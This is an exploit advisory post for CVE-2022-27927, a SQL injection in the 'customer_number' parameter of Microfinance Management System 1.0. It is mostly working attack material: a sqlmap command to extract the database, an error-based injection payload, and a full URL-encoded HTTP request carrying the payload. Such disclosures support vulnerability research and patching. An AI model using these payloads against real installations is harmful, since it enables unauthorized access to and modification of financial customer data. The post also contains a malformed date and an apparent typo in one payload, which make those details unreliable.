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Microfinance Management System 1.0 SQL Injection

Microfinance Management System 1.0 SQL Injection
Posted May 11, 2022
Authored by Eren Gozaydin

Microfinance Management System version 1.0 suffers from a remote SQL injection vulnerability. Original discovery of SQL injection in this version is attributed to Hejap Zairy in March of 2022.

tags | exploit, remote, sql injection
advisories | CVE-2022-27927
SHA-256 | d83b3f82ddd1ddf0452c27dd30cd720050cadcd9b1b7b56b26b60fa797860478

Microfinance Management System 1.0 SQL Injection

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# Exploit Title: Microfinance Management System 1.0 - 'customer_number' SQLi
# Date: 2022-25-03
# Exploit Author: Eren Gozaydin
# Vendor Homepage: https://www.sourcecodester.com/php/14822/microfinance-management-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip
# Version: 1.0
# Tested on: Windows 10 Pro + PHP 8.0.11, Apache 2.4.51
# CVE: CVE-2022-27927
# References: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27927

------------------------------------------------------------------------------------

1. Description:
----------------------

Microfinance Management System allows SQL Injection via parameter 'customer_number' in
/mims/updatecustomer.php. Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities
in the underlying database.


2. Proof of Concept:
----------------------

In Burpsuite intercept the request from the affected page with
'customer_number' parameter and save it like poc.txt Then run SQLmap to extract the
data from the database:

sqlmap.py -r poc.txt --dbms=mysql


3. Example payload:
----------------------

(error-based)

customer_number=-5361' OR 1 GROUP BY CONCAT(0x716a786271,(SELECT (CASE WHEN (6766=6766) THEN 1 ELSE 0 END)),0x7171716a71,FLOOR(RAND(0)*2)) HAVING MIN(0)#),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'


4. Burpsuite request:
----------------------

GET /mims/updatecustomer.php?customer_number=-1%27%20and%206%3d3%20or%201%3d1%2b(SELECT%201%20and%20ROW(1%2c1)%3e(SELECT%20COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.COLLATIONS%20GROUP%20BY%20x)a)%2b%27 HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: PHPSESSID=rf50l831r3vn4ho0g6aef189bt
Referer: http://localhost/mims/managecustomer.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36


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